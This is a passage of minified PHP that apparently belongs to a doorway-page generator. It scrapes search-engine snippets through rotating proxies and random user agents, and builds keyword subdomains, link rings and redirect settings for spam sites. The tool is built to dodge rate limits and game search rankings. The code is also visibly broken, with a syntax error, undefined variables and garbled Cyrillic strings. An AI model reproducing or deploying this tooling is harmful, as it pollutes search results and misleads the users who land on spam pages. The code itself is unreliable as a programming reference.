SetLocalIpManager($local_ip_manager){if($local_ip_manager)$this->LocalIpManager=$local_ip_manager; }public $StreanCunt; public function SetStreamCount($count){$this->StreamCount=$count; }public $MaxTimeout=100; public function SetMaxTimeout($value){$this->MaxTimeout=$value; }var $max_uptime=30; var $max_size=1024000; private $time_start=0; private $time_total=0; private $_pool=array(); private $_sockets=array(); private $boundary=""; private $pool_count=0; public function HTTP_Request($charset='UTF-8'){$this->text_output_charset=$charset; $this->boundary="NEXT" .md5(uniqid(microtime())); $this->UserAgentsManager=new UserAgentsManager(); $this->ProxyManager=new ProxyManager(); $this->LocalIpManager=new LocalIpAsProxyManager(); }public function AddUrl($Url,$Referer=false,$OtherData=false){if(!$Url)return false; $RequestData=new RequestData($Url); $RequestData->SetState(RequestData::STATE_RETRIEVING); $RequestData->SetUserAgent($this->UserAgentsManager->RrandomUserAgent()); $proxy=$this->LocalIpManager->RandomValidProxy(); $proxy=$proxy?$proxy:$this->ProxyManager->RandomValidProxy(); $RequestData->SetProxy($proxy); $RequestData->SetReferer($Referer); $RequestData->SetRequestMethod(RequestData::METHOD_GET); $RequestData->SetOtherData($OtherData); $RequestData->MakeRequest(); $this->_pool[$this->pool_count++]=$RequestData; }public function AddUrlWithPostData($Url,$PostData,$UseMultipart=false,$Referer="",$OtherData=false){if(!$url)return false; $RequestData=new RequestData($url); $RequestData->SetState(RequestData::STATE_RETRIEVING); $RequestData->SetUserAgent($this->UserAgentsManager->RrandomUserAgent()); $proxy=$this->LocalIpManager->RandomValidProxy(); $proxy=$proxy?$proxy:$this->ProxyManager->RandomValidProxy(); $RequestData->SetProxy($proxy); $RequestData->SetReferer($referer); $RequestData->SetRequestMethod(RequestData::METHOD_POST); $RequestData->SetPostData($PostData,$UseMultipart); $RequestData->SetOtherData($OtherData); $RequestData->MakeRequest(); $this->_pool[$this->pool_count++]=$RequestData; }public function AddUrls($UrlList){if(is_string($UrlList))$UrlList=split("[\r\n]",$UrlList); foreach($UrlList as $Url){$this->AddUrl(trim($Url)); }}public function AddUrlsWithOtherData($UrlListWithOtherData){foreach($UrlListWithOtherData as $UrlWithOtherData){$this->AddUrl(trim($UrlWithOtherData->Url),false,$UrlWithOtherData->OtherData); }}public function GetResponses($only_content=false){if($this->RequestType == self::SOCKETS){return $this->GetResponsesWithSockets($only_content); }else{return $this->GetResponsesWithCurl($only_content); }}public function GetResponsesWithCurl($only_content=false){set_time_limit($this->MaxTimeout); $this->time_start=time(); $timer=new RequestTimer(); $timer->start(); $mh=curl_multi_init(); foreach($this->_pool as $thread_index => $RequestData){$this->_sockets[$thread_index]=curl_init(trim($RequestData->Url)); $this->_pool[$thread_index]->State == RequestData::STATE_RETRIEVING; curl_setopt($this->_sockets[$thread_index],CURLOPT_RETURNTRANSFER,1); curl_setopt($this->_sockets[$thread_index],CURLOPT_HEADER,1); curl_setopt($this->_sockets[$thread_index],CURLOPT_FOLLOWLOCATION,1); curl_setopt($this->_sockets[$thread_index],CURLOPT_URL,$RequestData->Url); curl_setopt($this->_sockets[$thread_index],CURLOPT_REFERER,$RequestData->Referer); curl_setopt($this->_sockets[$thread_index],CURLOPT_USERAGENT,$RequestData->UserAgent); curl_setopt($this->_sockets[$thread_index],CURLOPT_TIMEOUT,$RequestData->Timeout); if($this->ProxyType == self::SOCKS4){curl_setopt($ch,CURLOPT_PROXYTYPE,CURLPROXY_SOCKS4); }elseif($this->ProxyType == self::SOCKS5){curl_setopt($ch,CURLOPT_PROXYTYPE,CURLPROXY_SOCKS5); }if($RequestData->Proxy){if($RequestData->Proxy->ISLocalIP){curl_setopt($this->_sockets[$thread_index],CURLOPT_INTERFACE,$RequestData->Proxy->adress); }else{curl_setopt($this->_sockets[$thread_index],CURLOPT_PROXY,$RequestData->Proxy->adress .':' .$RequestData->Proxy->port); if($RequestData->Proxy->login && $RequestData->Proxy->password)curl_setopt($this->_sockets[$thread_index],CURLOPT_PROXYUSERPWD,$RequestData->Proxy->login .':' .$RequestData->Proxy->password); }}curl_setopt($this->_sockets[$thread_index],CURLOPT_MAXREDIRS,10); curl_multi_add_handle($mh,$this->_sockets[$thread_index]); $this->_pool[$thread_index]->SetConnectTimeout($timer->timeout()); }do{$x=curl_multi_exec($mh,$active); }while($active); $done=0; foreach($this->_sockets as $thread_index => $socket){$timeout=$this->_pool[$thread_index]->Timeout; $temp=curl_multi_getcontent($this->_sockets[$thread_index]); $temp=Encoding::Encode($temp,$this->text_output_charset); $this->_pool[$thread_index]->Content=preg_replace("~[\n]+~ism","\n",$temp); $this->_pool[$thread_index]->Timeout=$timeout+$timer->timeout(); $this->_pool[$thread_index]->SetState(RequestData::STATE_FINISHED); }curl_multi_close($mh); foreach($this->_sockets as $thread_index => $socket){curl_close($this->_sockets[$thread_index]); }$this->time_total=time()-$this->time_start; if($only_content){$result=""; foreach($this->_pool as $thread_index => $url){$result .= $RequestData->Content; }$this->Clean(); return $result; }return $this->_pool; }public function GetResponsesWithSockets($only_content=false){set_time_limit($this->MaxTimeout); $this->time_start=time(); $timer=new RequestTimer(); $timer->start(); foreach($this->_pool as $thread_index => $RequestData){if(@$RequestData->Proxy->ISLocalIP){$Host=$RequestData->Host; $Port=$RequestData->Proxy?$RequestData->Proxy->port:$RequestData->Port; }else{$Host=$RequestData->Proxy?$RequestData->Proxy->adress:$RequestData->Host; $Port=$RequestData->Proxy?$RequestData->Proxy->port:$RequestData->Port; }@$socket=fsockopen($Host,$Port,$errno,$errstr,5); if($socket){$this->_sockets[$thread_index]=$socket; socket_set_blocking($socket,FALSE); socket_set_timeout($socket,$this->max_uptime); fputs($socket,$RequestData->Request); }else{$this->_pool[$thread_index]->SetState(RequestData::STATE_FAILED); }$this->_pool[$thread_index]->SetConnectTimeout($timer->timeout()); }$done=0; while($done_sockets)){foreach($this->_sockets as $thread_index => $socket){if($this->_pool[$thread_index]->State == RequestData::STATE_RETRIEVING){$timeout=$this->_pool[$thread_index]->Timeout; if($timeout<$this->max_uptime){$size=strlen($this->_pool[$thread_index]->Content); if($size<$this->max_size &&!feof($socket)){$content=fgets($socket,1024); $this->_pool[$thread_index]->AddContent($content); }else{$this->_pool[$thread_index]->SetState(RequestData::STATE_FINISHED); ++$done; }}else{$this->_pool[$thread_index]->SetState(RequestData::STATE_TIMEOUT); ++$done; }$this->_pool[$thread_index]->Timeout=$timeout+$timer->timeout(); $this->_pool[$thread_index]->Size=strlen($this->_pool[$thread_index]->Content); }}$this->_pool[$thread_index]->Content=preg_replace("~[\n]+~ism","\n",$this->_pool[$thread_index]->Content); }foreach($this->_sockets as $thread_index => $socket){fclose($socket); }$this->time_total=time()-$this->time_start; foreach($this->_pool as $key=>$value){$this->_pool[$key]->Content=Encoding::Encode($this->_pool[$key]->Content,$this->text_output_charset); }if($only_content){$result=""; foreach($this->_pool as $thread_index => $url){$result .= $RequestData->Content; }$this->Clean(); return $result; }return $this->_pool; }private function Clean(){$this->_pool=array(); $this->_sockets=array(); }}class RequestTimer{var $time_start=0; function getmicrotime(){list($usec,$sec)=explode(' ',microtime()); return (double)$usec+(double)$sec; }function start(){$this->time_start=$this->getmicrotime(); }function timeout(){$timeout=$this->getmicrotime()-$this->time_start; $this->start(); return $timeout; }}class Rings{private $list; public function Add($count){$this->list[]=$count; }public function GetRings(){return $this->list; }}class Parser{public $RequestType; public $ProxyType; public $ContentCount; public $MaxParsedPagesCount; public $MinSnippetLenght; public $OutputCharset; public $SnippetsCount; public $StreamCount; public $ProxyList; public $LocalIPList; public $Enabled; }class Links{public $OutPrevLinkMode; public $TotalLnksCount; public function Links(){$this->Rings=new Rings(); }}class DoorInstall{public $LinksMode; public $SetCountMainPagesLinksInMap; public $CountInnerLinksInMap; public $SiteMapPatterns; public $SiteMapMainPattern; public $SiteMapTemplate; public $KeywordsFile; public $ContentFile; public function SetSiteMapPattern($Pattern,$RelativePath){$host=Config::$Doorgen->MainHost?Config::$Doorgen->MainHost:Config::GetAutoMainHost(); $this->SiteMapMainPattern=new SM_Pattern($Pattern,$RelativePath,$host); }public function AddSiteMapPattern($Pattern,$RelativePath){$this->SiteMapPatterns->Add($Pattern,$RelativePath); }public function DoorInstall(){$host=Config::$Doorgen->MainHost?Config::$Doorgen->MainHost:Config::GetAutoMainHost(); $this->SiteMapPatterns=new SM_Patterns($host); }}class Doorgen{public $MainHost; public $TemplateFolder; public $TemplateFile; public $MainPageFile; public $MinContentLenght; public $MaxContentLenght; public $HeadersCount; public $ContentPattern; }class Redirect{public $IncludingScriptMode; public $RedirectURL; public $CheckEngineMode; public $Enabled; }class Config{public static $Doorgen; public static $Parser; public static $Links; public static $Install; public static $Redirect; public static $TDS_Link; public static function Init(){self::$Links=new Links(); self::$Parser=new Parser(); self::$Doorgen=new Doorgen(); self::$Redirect=new Redirect(); self::$Install=new DoorInstall(); }public static function GetAutoMainHost($DomainLevel=2){if(!in_array($DomainLevel,array(2,3)))die(' , - 2 3!'); switch($DomainLevel){case 2:preg_match('~^.*?([^\.]+\.[^\.]+)$~ism',@$_SERVER['HTTP_HOST'],$domain); break; case 3:preg_match('~^.*?([^\.]+\.[^\.]+\.[^\.]+)$~ism',@$_SERVER['HTTP_HOST'],$domain); break; }if(isset($domain[1]))$domain=$domain[1]; else die(' ! !'); return $domain; }}Config::Init(); class _ListItem{public $Key; public $Value; public function _ListItem($key,$value){$this->Key=$key; $this->Value=$value; }}class _List{public $list=array(); private $current_index=0; public function SetListFromArray($list){if(is_string($list))$list=split("\n",$list); foreach($list as $index => $item){$this->Add($item,$index); }}public function Add($object,$index=null){if(is_string($object))$object=trim($object); if(!$object)return false; if($index){if(key_exists($index,$this->list))return false; $this->list[$index]=$object; }else $this->list[]=$object; return true; }public function Shuffle($srand=false){if($srand)srand($srand); else srand(microtime()*10000); shuffle($this->list); return $this->list; }public function RandomItem($srand=0){if(!count($this->list))return; if($srand)srand($srand); else srand(microtime()*10000); $index=array_rand($this->list); $item=$this->list[$index]; return new _ListItem(key($this->list),$item); }public function RandomItems($count,$srand=0){if($srand)srand($srand); else srand(microtime()*10000); $indexes=array_rand($this->list,$count); $items=array(); foreach($indexes as $key => $index){$items[$key]=$this->list[$index]; }return $items; }public function Current(){if(!$item=current($this->list))return false; return new _ListItem(key($this->list),$item); }public function Count(){return count($this->list); }public function Next(){if(!$item=next($this->list))return false; return new _ListItem(key($this->list),$item); }public function Prev(){if(!$item=prev($this->list))return false; return new _ListItem(key($this->list),$item); }public function Reset(){reset($this->list); }public function First(){if(!$item=reset($this->list))return false; return new _ListItem(key($this->list),$item); }public function Last(){if(!$item=end($this->list))return false; return new _ListItem(key($this->list),$item); }public function Clear(){$this->list=array(); }}class Markers{public $Query; public $Num; public $Page; public $Start; public $BasePage; }class ValueChecker{public function CheckValue($value,$message=''){$value=trim($value); if(!$value)return false; return true; }}class EngineSnippetsData extends ValueChecker{public $Name; public $URL; public $SnippetPatterns; public $NumValues; public $Formula; public $LastPage=1; public function EngineSnippetsData(){$this->SnippetPatterns=new _List(); }public function SetName($value){if(!$this->CheckValue($value," "))return false; $this->Name=trim($value); return true; }public function SetURL($value){if(!$this->CheckValue($value," URL "))return false; $this->URL=$value; return true; }public function AddSnippetPattern($value){$this->SnippetPatterns->Add($value); return true; }public function SetNumValues($value){if(is_string($value))$value=explode("\n",$value); if(is_int($value))$value=array($value); $nums=array(); foreach($value as $num){if($num*1)$nums[]=$num*1; }$this->NumValues=$nums; return true; }public function SetFormula($value){if(!$this->CheckValue($value," !"))return false; $this->Formula=$value; return true; }public function SetLastPage($value){$this->LastPage=$value*1; return true; }public function MakeURL($Markers){$query=urlencode(trim(iconv('cp1251','utf8',$Markers->Query))); $Formules=new Formules(); $start_or_page=$Formules->Calculation($this->Formula,$Markers->BasePage,$Markers->Num); return strtr($this->URL,array('{QUERY}'=> $query,'{NUM}'=> $Markers->Num,'{PAGE}'=> $start_or_page,'{START}'=> $start_or_page)); }}class Formules{const PAGE="{PAGE} = {BASE-PAGE}"; const PAGEMINUS1="{PAGE} = {BASE-PAGE} - 1"; const START="{START} = {BASE-PAGE} * {NUM} - {NUM}"; const STARTPLUS1="{START} = {BASE-PAGE} * {NUM} + 1 - {NUM}"; private $List; public $Start; public $Page; public function Formules(){$this->List=new _List(); $this->List->Add(new _ListItem(self::PAGE,'PAGE')); $this->List->Add(new _ListItem(self::PAGEMINUS1,'PAGEMINUS1')); $this->List->Add(new _ListItem(self::START,'START')); $this->List->Add(new _ListItem(self::STARTPLUS1,'STARTPLUS1')); }public function Calculation($Formula,$BasePage,$Num){switch($Formula){case self::PAGE:$this->Page=$Result=$BasePage; break; case self::PAGEMINUS1:$this->Page=$Result=$BasePage-1; break; case self::START:$this->Start=$Result=$BasePage*$Num-$Num; break; case self::STARTPLUS1:$this->Start=$Result=$BasePage*$Num+1-$Num; break; default:$this->Page=$Result=$BasePage; break; }return $Result; }}class EngineSnippetsParser{public $SnippetsList; private $ContentLenght=0; public $RequestType=HTTP_Request::SOCKETS; public function SetRequestType($value){$this->RequestType=$value; }public $ProxyType; public function SetProxyType($value){$this->ProxyType=$value; }private $ProxyManager; public function SetProxyManager($ProxyManager){$this->ProxyManager=$ProxyManager; }public function SetProxyList($ProxyList){$this->ProxyManager=new ProxyManager(); $this->ProxyManager->SetProxyList($ProxyList); }private $LocalIpManager; public function SetLocalIpManager($LocalIpManager){$this->LocalIpManager=$LocalIpManager; }public function SetLocalIpList($LocalIpList){$this->LocalIpManager=new LocalIpAsProxyManager(); $this->LocalIpManager->SetProxyList($LocalIpList); }private $SnippetsCount=0; public function SetSnippetsCount($SnippetsCount){$this->SnippetsCount=intval($SnippetsCount); }private $ContentCount=0; public function SetContentCount($ContentCount){$this->ContentCount=intval($ContentCount)*1024; }private $MaxParsedPagesCount; public function SetMaxParsedPagesCount($MaxParsedPagesCount){$this->MaxParsedPagesCount=intval($MaxParsedPagesCount); }private $MinSnippetLenght=30; public function SetMinSnippetLenght($MinSnippetLenght){$this->MinSnippetLenght=intval($MinSnippetLenght); }private $StreamCount; public function SetStreamCount($StreamCount){$this->StreamCount=intval($StreamCount); }private $OutputCharset='cp1251'; public function SetOutputCharset($OutputCharset){$this->OutputCharset=trim($OutputCharset); }public $error_content; protected $error_message; public $EnginesList; public function SetEnginesList($EnginesList){if(is_array($EnginesList)){foreach($EnginesList as $engine){$this->EnginesList->Add($engine); }}else $this->EnginesList=$EnginesList; }public $ExactResult=false; public function EngineSnippetsParser($ExactResult=false){$this->EnginesList=new _List(); $this->SnippetsList=new _List(); $this->ExactResult=$ExactResult; }public function AddEngine($Engine){if(!$this->EnginesList->Add($Engine,$Engine->Name))die(' , !'); }function MakeUrls($query,$count){$UrlList=array(); while($count){$Engine=$this->EnginesList->RandomItem()->Value; $Markers=new Markers(); $Markers->BasePage=$Engine->LastPage++; $Markers->Num=max($Engine->NumValues); $Markers->Query=$query; $UrlList[]=new UrlWithOtherData($Engine->MakeURL($Markers),$Engine); $count--; }return $UrlList; }function GetSnippets($Query){if(!trim($Query))return; $content_count=0; $snippets_count=0; $pages_count=0; if(!$this->ContentCount &&!$this->SnippetsCount &&!$this->MaxParsedPagesCount)$this->SnippetsCount=500; while(1){if($this->ContentCount && $this->ContentCount <= $this->ContentLenght)break; if($this->SnippetsCount && $this->SnippetsCount <= $this->SnippetsList->Count())break; if($this->MaxParsedPagesCount && $this->MaxParsedPagesCount <= $pages_count)break; $count=$this->MaxParsedPagesCount-$pages_count<$this->StreamCount && $this->MaxParsedPagesCount?$this->MaxParsedPagesCount-$pages_count:$this->StreamCount; $UrlList=$this->MakeUrls($Query,$count); $responses=$this->GetResponses($UrlList); $count=$this->ParseSnippetsFromResponses($responses); if($count === false)return false; $pages_count+$count; }return true; }function GetResponses($UrlList){$request=new HTTP_Request($this->OutputCharset); $request->SetRequestType($this->RequestType); if($this->ProxyManager)$request->SetProxyManager($this->ProxyManager); if($this->LocalIpManager)$request->SetLocalIpManager($this->LocalIpManager); $request->AddUrlsWithOtherData($UrlList); $result=$request->GetResponses(false); return $result; }private function ParseSnippetsFromResponses($Responses){$pages_count=0; foreach($Responses as $response){if($this->ParseSnippets($response))$pages_count++; }if(!$this->SnippetsList->Count())return false; $this->SnippetsList->Shuffle(); return $pages_count; }private function ParseSnippets($response){$content=$response->Content; $_snippets=array(); foreach($response->OtherData->SnippetPatterns->list as $pattern){if(!preg_match_all("~{$pattern}~ism",$content,$temp_snippets))continue; $_snippets=array_merge($temp_snippets[1],$_snippets); }$snippet_count=0; foreach($_snippets as $snippet){if($this->ExactResult){if($this->ContentCount && $this->ContentCount <= $this->ContentLenght)break; if($this->SnippetsCount && $this->SnippetsCount <= $this->SnippetsList->Count())break; if($this->MaxParsedPagesCount && $this->MaxParsedPagesCount <= $pages_count)break; }$snippet=preg_replace('~<[^>]+>~ism',' ',$snippet); $snippet=preg_replace('~[\s]+~ism',' ',$snippet); $snippet=preg_replace('~ ([\.,!\?\%])~ism','\\1',$snippet); $snippet=preg_replace('~\.\.\.~ism','.',$snippet); $snippet=preg_replace('~[/]~ism','',$snippet); $snippet=preg_replace('~(www|http)[^ ]+~ism','',$snippet); $snippet=preg_replace('~\.[a-z0-9]{2,5}~ism','',$snippet); $snippet=preg_replace('~^[\.,!\?\%]+~ism','',$snippet); $snippet=preg_replace('~[\s]+~ism',' ',$snippet); if(strlen($snippet)<$this->MinSnippetLenght)continue; $snippet=trim($snippet); $this->SnippetsList->Add($snippet); $this->ContentLenght += strlen($snippet); $snippet_count++; }if($snippet_count)return true; return false; }public function error($error_message){$this->error_message=$error_message; return RESULT_ERROR; }public function error_message(){if($this->error_message)return $this->error_message; }}class keyword{public $link_body; public $anchor; public $positions; public function keyword($anchor,$link_body,$positions){$this->anchor=trim(text::format($anchor)); $this->anchor_to_lower=trim(text::format($anchor,true)); $this->link_body=trim($link_body); $this->positions=$positions; }}final class keywords{static public $binary_keywords_path; static public $binary_searcher; static public function init($binary_keywords_path=null,$sort_item=null,$delimiter=null){if(!file_exists($binary_keywords_path))die(' , !'); self::$binary_keywords_path=$binary_keywords_path; self::$binary_searcher=new binary_search_col($binary_keywords_path,$sort_item,$delimiter); }static public function get_keyword($string){$string=preg_replace('~([/]+|\.[^\.]+$)~','',$string); $result=self::$binary_searcher->search($string); if(!$result)return false; $keyword=new keyword($result->result[1],$result->result[0],$result->positions); return $keyword; }static public function get_keyword_by_position($position){if(!$position*1)return false; $result=self::$binary_searcher->get_string_by_position($position); $keyword=new keyword($result->result[1],$result->result[0],$result->positions); return $keyword; }static public function get_keyword_by_string_position($string_position){if(!$string_position*1)return false; $keyword=self::get_keyword_by_position($string_position*self::$binary_searcher->string_lenght); return $keyword; }}final class text{static public function format($string,$all_to_lower=false){$first_letter=!$all_to_lower?strtr(substr($string,0,1),'qwertyuiopasdfghjklzxcvbnm','QWERTYUIOPASDFGHJKLZXCVBNM'):''; $string=$all_to_lower?strtr($string,'QWERTYUIOPASDFGHJKLZXCVBNM','qwertyuiopasdfghjklzxcvbnm'):trim(substr_replace($string,$first_letter,0,1)); $string=strtr($string,array('--'=>'-')); return $string; }}final class Path{public function StripSlashes($path){return preg_replace('~[\\/]+~','/',$path); }}final class translate{static public function eng($string){$string=strtr($string,'','abvgdeeziyklmnoprstufhie'); $string=strtr($string,'Ũ','abvgdeeziyklmnoprstufhie'); $string=strtr($string,array(''=>'zh',''=>'ts',''=>'ch',''=>'sh',''=>'shch',''=>'',''=>'yu',''=>'ya',''=>'zh',''=>'ts',''=>'ch',''=>'sh',''=>'shch',''=>'',''=>'yu',''=>'ya',''=>'i',''=>'yi',''=>'ie',''=>'ie')); return $string; }}class binary_search{const ALGORITM_ONE=1; const ALGORITM_TWO=2; private $binary_file; private $algoritm=self::ALGORITM_ONE; public function binary_search($binary_file,$algoritm=self::ALGORITM_ONE){$this->binary_file=$binary_file; $this->algoritm=$algoritm; }public function search($string){if($this->algoritm == self::ALGORITM_ONE){return $this->search_with_algoritm_one($string); }else{return $this->search_with_algoritm_two($string); }}public function make_indexed_file($file_name){$data=file($file_name); sort($data); $result=array(); $strlen=0; foreach($data as $str){if(trim($str)){$str=trim(strtolower($str)); $result[]=$str; $len=strlen($str); $strlen=$strlen<$len?$len:$strlen; }}$data=array_unique($result); $result=''; foreach($data as $str){$len=strlen($str); $len=$strlen-$len; $hvost=''; while($len--){$hvost .= ' '; }$result .= $str .$hvost ."\r\n"; }file_put_contents($this->binary_file,$result); }private function search_with_algoritm_one($string){$fp=fopen($this->binary_file,'r'); $size=filesize($this->binary_file); $strlen=strlen(fgets($fp)); $count=floor($size/$strlen); $middle=floor(($count)/2); $result=$this->bin_find($fp,$string,0,$middle,$count,$strlen); fclose($fp); return $result; }private function bin_find($fp,$string,$first,$middle,$last,$strlen,$laststring=false){$string=trim($string); if(!$string)return false; fseek($fp,$middle*$strlen); $str=trim(fgets($fp)); if($laststring == $str){if($str != $string){fseek($fp,$middle-5000); $i=0; while($i<100){if(trim(fgets($fp))== $string)return $string; $i++; }return false; }}if($str>$string){$result=$this->bin_find($fp,$string,$first,floor($middle/2),$middle,$strlen,$str); }elseif($str<$string){$result=$this->bin_find($fp,$string,$middle,floor(($last+$middle)/2),$last,$strlen,$str); }elseif($str == $string){$result=$str; }else $result=false; return $result; }private function search_with_algoritm_two($string){$fp=fopen($this->binary_file,'r'); $size=filesize($this->binary_file); $middle=floor(($size)/2); $result=$this->bin_find_algoritm_two($fp,$string,0,$middle,$size); fclose($fp); return $result; }private function bin_find_algoritm_two($fp,$string,$first,$middle,$last,$laststring=false){$string=trim($string); fseek($fp,$middle); while(fgetc($fp)!= "\n")fseek($fp,$middle--); $str=trim(fgets($fp)); if($laststring == $str){if($str != $string){fseek($fp,$middle-5000); $i=0; while($i<100){if(trim(fgets($fp))== $string)return $string; $i++; }return false; }}if($str>$string){$result=$this->bin_find_algoritm_two($fp,$string,$first,floor($middle/2),$middle,$str); }elseif($str<$string){$result=$this->bin_find_algoritm_two($fp,$string,$middle,floor(($last+$middle)/2),$last,$str); }elseif($str == $string){$result=$str; }else $result=false; return $result; }}class positions{public $char_position; public $string_position; public function positions($char_position,$string_position){$this->char_position=$char_position; $this->string_position=$string_position; }}class binary_search_col_result{public $result; public $positions; public function binary_search_col_result($result,$char_position,$string_position){$this->result=$result; $this->positions=new positions($char_position,$string_position); }}class binary_search_col{private $binary_file; private $base_file; private $sort_item; private $delimiter; public $string_lenght; public $string_count; public function binary_search_col($binary_file,$sort_item,$delimiter){$this->base_file=$binary_file; $this->binary_file=preg_replace('~\.[^\.$]+$~ism','.index',$binary_file); $this->sort_item=$sort_item; $this->delimiter=$delimiter; if(file_exists($this->base_file)){$fp=fopen($this->base_file,'r'); $size=filesize($this->base_file); $this->string_lenght=strlen(fgets($fp)); $this->string_count=floor($size/$this->string_lenght); fclose($fp); }}private function sort($a,$b){return strcmp($a[$this->sort_item],$b[$this->sort_item]); }private function def_sort($a,$b){return strcmp($a[0],$b[0]); }public function make_indexes_file($data){$strlen=0; usort($data,array("binary_search_col","def_sort")); foreach($data as $item){$len=strlen(implode($this->delimiter,$item)); $strlen=$strlen<$len?$len:$strlen; }foreach($data as $item){$str=implode($this->delimiter,$item); $len=strlen($str); $len=$strlen-$len; $hvost=''; while($len--){$hvost .= ' '; }$result[]=$str .$hvost ."\r\n"; }file_put_contents($this->binary_file,$result); }public function make_indexed_file($data){$strlen=0; shuffle($data); $i=0; $index_data=array(); foreach($data as $item){$index_data[]=array($item[$this->sort_item],$i++); $len=strlen(implode($this->delimiter,$item)); $strlen=$strlen<$len?$len:$strlen; }foreach($data as $item){$str=implode($this->delimiter,$item); $len=strlen($str); $len=$strlen-$len; $hvost=''; while($len--){$hvost .= ' '; }$result[]=$str .$hvost ."\r\n"; }file_put_contents($this->base_file,$result); $this->make_indexes_file($index_data); }public function search($string){$fp=fopen($this->binary_file,'r'); $middle=floor(($this->string_count)/2); $string_lenght=strlen(fgets($fp)); $result=$this->bin_find($fp,$string,0,$middle,$this->string_count,$string_lenght); fclose($fp); if(!$result)return false; $pos=$result[1]; $fp=fopen($this->base_file,'r'); fseek($fp,$pos*$this->string_lenght); $res=explode($this->delimiter,fgets($fp)); $out_result=new binary_search_col_result($res,$pos*$this->string_lenght,$pos); $r=$this->get_string_by_position($pos*$this->string_lenght); fclose($fp); return $out_result; }public function get_string_by_position($position){if(!($position*1))return false; $fp=fopen($this->base_file,'r'); if(!$fp)return false; fseek($fp,$position); $res=explode($this->delimiter,fgets($fp)); $out_result=new binary_search_col_result($res,$position,$position/$this->string_lenght); fclose($fp); return $out_result; }private function bin_find($fp,$string,$first,$middle,$last,$strlen,$laststring=false){$string=trim($string); if(!$string)return false; fseek($fp,$middle*$strlen); $res=explode($this->delimiter,fgets($fp)); $str=trim($res[0]); if($laststring == $str){if($str != $string){fseek($fp,$middle-5000); $i=0; while($i<100){if(trim(fgets($fp))== $string)return $string; $i++; }return false; }}if($str>$string){$result=$this->bin_find($fp,$string,$first,floor($middle/2),$middle,$strlen,$str); }elseif($str<$string){$result=$this->bin_find($fp,$string,$middle,floor(($last+$middle)/2),$last,$strlen,$str); }elseif($str == $string){$result=$res; }else $result=false; return $result; }}class link{public $anchor; public $anchor_to_lower; public $url; public $id; public function link($keyword,$url){$this->id=$keyword->positions->string_position; $this->anchor=$keyword->anchor; $this->anchor_to_lower=$keyword->anchor_to_lower; $this->url=$url; }}class linked{private $host; public function set_host($value){$this->host=$value; }const MODE_ONLY_SUBDOMAINS=1; const MODE_SUBDOMAINS_WITH_INNER_LINKS=2; const MODE_DOMAIN_WITH_INNER_LINKS=3; const MODE_ALL=4; const MODE_DOMAIN_WITH_FOLDER_AND_INNER_LINKS=5; const RINGS_MODE_ONLY_SUBDOMAINS=1; const RINGS_MODE_ONLY_INNER_LINKS=2; const RINGS_MODE_INNER_LINKS_AND_FOLDERS=3; private $mode=self::MODE_SUBDOMAINS_WITH_INNER_LINKS; public function set_mode($value){if($value == self::MODE_ALL || $value == self::MODE_DOMAIN_WITH_INNER_LINKS){$this->rings_mode=self::RINGS_MODE_ONLY_INNER_LINKS; }elseif($value == self::MODE_DOMAIN_WITH_FOLDER_AND_INNER_LINKS){$this->rings_mode=self::RINGS_MODE_INNER_LINKS_AND_FOLDERS; }else $this->rings_mode=self::RINGS_MODE_ONLY_SUBDOMAINS; $this->mode=$value; }private $rings_mode=self::RINGS_MODE_ONLY_INNER_LINKS; public function set_rings_mode($value){$this->rings_mode=$value; }private $main_keyword; public function set_main_keyword($value){$this->main_keyword=$value; }private $request_code; public function set_request_code($value){$this->request_code=$value; }private $total_links_count=50; public function set_total_links_count($value){$this->total_links_count=$value; }private $rings; public function add_ring($count_links_in_ring){$this->rings[]=$count_links_in_ring; }public function set_rings($rings){$this->rings=$rings; }private $out_prev_link_mode; public function set_out_prev_link_mode($value){$this->out_prev_link_mode=$value; }private $used_keyword; private function add_used_keyword($keyword){if(!$keyword)return; $this->used_keyword[$keyword->positions->string_position]=$keyword->anchor; }private function is_used_keyword($keyword){if(@$this->used_keyword[$keyword->positions->string_position]== $keyword->anchor)return true; return false; }private $links_stack; private $keywords_stack; private function enqueue_links_stack($link){if(isset($this->links_stack[$link->id]))return false; $this->links_stack[$link->id]=$link; $this->keywords_stack[]=$link->anchor; return true; }private function dequeue_links_stack(){if(count($this->links_stack)== 0)return false; $link=array_shift($this->links_stack); return $link; }private function get_keyword($number){if($number >= count($this->keywords_stack))return false; return $this->keywords_stack[$number-1]; }public function out(&$tpl){$this->add_used_keyword($this->main_keyword); foreach($this->rings as $count_links_in_ring){$this->make_ring_links($count_links_in_ring); }$this->make_random_links(); $this->out_meta_keywords($tpl); $this->out_numeric_keywords($tpl); $this->out_links($tpl); $this->out_links_boxes($tpl); }public function make_ring_links($count_links){if(!$this->main_keyword)return; $ring_data=$this->get_ring_data($count_links,$this->main_keyword); if($this->out_prev_link_mode)$this->enqueue_ring_link($ring_data['prev_key'],$ring_data['next_key']); $this->enqueue_ring_link($ring_data['next_key'],$ring_data['prev_key']); }public function make_random_links(){$i=0; while(1){$count=count($this->links_stack); if($count>$this->total_links_count)break; srand($this->request_code+$i+++$count); $keyword=keywords::get_keyword_by_string_position(rand(0,keywords::$binary_searcher->string_count-1)); $_keyword=keywords::get_keyword_by_string_position(rand(0,keywords::$binary_searcher->string_count-1)); if($keyword == $this->main_keyword){continue; }if(!$this->enqueue_random_link($keyword,$_keyword)){continue; }}}function enqueue_ring_link($keyword,$dop_keyword=null){switch($this->rings_mode){case self::RINGS_MODE_ONLY_INNER_LINKS:$result=$this->enqueue_links_stack($this->make_link($keyword)); break; break; case self::RINGS_MODE_ONLY_SUBDOMAINS:$result=$this->enqueue_links_stack($this->make_subdomain($keyword)); break; break; case self::RINGS_MODE_INNER_LINKS_AND_FOLDERS:switch(rand(0,1)){case 0:$result=$this->enqueue_links_stack($this->make_folder($keyword)); break; case 1:$result=$this->enqueue_links_stack($this->make_folder_with_link($keyword,$dop_keyword)); break; }break; }return $result; }function enqueue_random_link($keyword,$dop_keyword=null){$result=false; srand($this->request_code+count($this->links_stack)); switch($this->mode){case self::MODE_ALL:switch(rand(0,2)){case 0:$result=$this->enqueue_links_stack($this->make_link($keyword)); break; case 1:$result=$this->enqueue_links_stack($this->make_subdomain($keyword)); break; case 2:$result=$this->enqueue_links_stack($this->make_subdomain_with_link($keyword,$dop_keyword)); break; }break; case self::MODE_DOMAIN_WITH_INNER_LINKS:$result=$this->enqueue_links_stack($this->make_link($keyword)); break; break; case self::MODE_ONLY_SUBDOMAINS:$result=$this->enqueue_links_stack($this->make_subdomain($keyword)); break; break; case self::MODE_SUBDOMAINS_WITH_INNER_LINKS:switch(rand(0,1)){case 0:$result=$this->enqueue_links_stack($this->make_subdomain($keyword)); break; 